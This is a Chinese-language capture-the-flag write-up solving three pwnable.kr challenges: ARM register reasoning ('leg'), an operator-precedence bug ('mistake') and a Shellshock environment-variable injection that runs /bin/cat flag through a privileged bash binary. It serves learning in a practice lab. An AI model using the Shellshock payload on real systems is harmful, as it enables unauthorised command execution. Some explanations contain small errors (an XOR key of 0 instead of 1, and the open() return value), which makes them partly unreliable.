1. 程式人生 > >pwnable.kr-leg-mistake-shellshock

pwnable.kr-leg-mistake-shellshock

leg

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

獲取flag的條件是key1+key2+key3=key;

看來是一道考察某個基礎知識點的題目,關鍵在於asm()函式。

asm()能把()內語句寫入到彙編中執行,既然這樣,直接看彙編程式碼。

(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.

可以看到move r3,pc這個在key1函式中出現的語句被寫到了彙編中。

PC即暫存器R15,對於ARM指令集而言,PC總是指向當前指令的下兩條指令的地址,即PC的值為當前指令的地址值加8個位元組程式狀態暫存器。由此可知r3的值就是0x00008cdc+8,然後下一條語句出現了r0,在ARM裡r0是作為函式的返回值,所以key1=r0=r3=0x00008cdc+8.

(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.

根據上一步,看到mov r0,r3 所以key2=r0=r3=PC+4但是到這裡往上逆推的時候出現了bx

BX: 帶狀態切換的跳轉。最低位為1時,切換到Thumb指令執行,為0時,解釋為ARM指令執行。

因為R6=PC+1,所以bx跳轉到Thumb模式,這時PC=當前程式地址+4

所以key2=0x00008d04+4+4

(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.

還是一樣,key3=r0=r3=lr

R14稱為子程式連結暫存器LR(Link Register)有兩個特殊功能,一種是每一種模式下都可以用於儲存函式的返回地址,另外就是異常處理後的返回地址,如中斷。

這題裡的lr是作為函式的返回地址,即main函式中執行完key3函式後的下一個程式語句的地址

   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0

由此可得key3=lr=0x00008d80

寫個python小程式做加法

a=0x8cdc+8
b=0x8d04+0x4+0x4
c=0x8d80
d=a+b+c;
print(d);

提交結果,得到flag

mistake

這題的題目描述裡有個hint,提示我們這題關鍵在於運算子的優先順序

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
    int i;
    for(i=0; i<len; i++){
        s[i] ^= XORKEY;
    }
}

int main(int argc, char* argv[]){
    
    int fd;
    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
        printf("can't open password %d\n", fd);
        return 0;
    }

    printf("do not bruteforce...\n");
    sleep(time(0)%20);

    char pw_buf[PW_LEN+1];
    int len;
    if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
        printf("read error\n");
        close(fd);
        return 0;       
    }

    char pw_buf2[PW_LEN+1];
    printf("input password : ");
    scanf("%10s", pw_buf2);

    // xor your input
    xor(pw_buf2, 10);

    if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
        printf("Password OK\n");
        system("/bin/cat flag\n");
    }
    else{
        printf("Wrong Password\n");
    }

    close(fd);
    return 0;
}

第一個if語句裡同時出現了=和<,這時候先執行<,然後才是執行=,因為password檔案是可以開啟的,所以open返回檔案描述符0,0<0=false,所以fd=0

因此第二個if語句中的read其實是以fd作為檔案描述符,即標準輸入,把我們鍵盤輸入的內容傳給pwn_buf

因此這個程式是讓我們在"input password"之前輸入pw_buf的值,之後再輸入pw_buf2的值,然後把pw_buf2的值按位異或0,接著再和pw_buf做比較,相等則strncmp返回0,執行system語句

所以可以輸入0000000000 1111111111,總之pw_buf和pw_buf2每一位不同即可得到flag

shellshock

這題提示說是基於真實案例。shellshock漏洞存在於4.1版本之前的bash中。

通過往環境變數中新增執行語句,可以讓bash執行任意命令

具體格式為

[email protected]:~$ env x='() { :;}; echo v' ./bash -c "echo this is a test"

這樣螢幕就會輸出

v this is a test

注意空格。

因為bash在執行之前會引入環境變數(env檢視當前環境變數),這時候環境變數內如果有可執行語句,也會一起執行。

如果直接執行

[email protected]:~$ env x='() { :;}; /bin/cat flag' ./bash -c "echo this is a test" 會返回

/bin/cat: flag: Permission denied Segmentation fault 而shellshock中既調動了bash,還讓我們有了訪問flag的許可權。

所以直接執行

[email protected]:~$ env x='() { :;}; /bin/cat flag' ./shellshock

得到flag

//為什麼會出現Segmentation fault,還有bash在讀取環境變數時為何會執行語句,以及setresuid()和setresgid()兩個函式的定義並沒有搞清楚。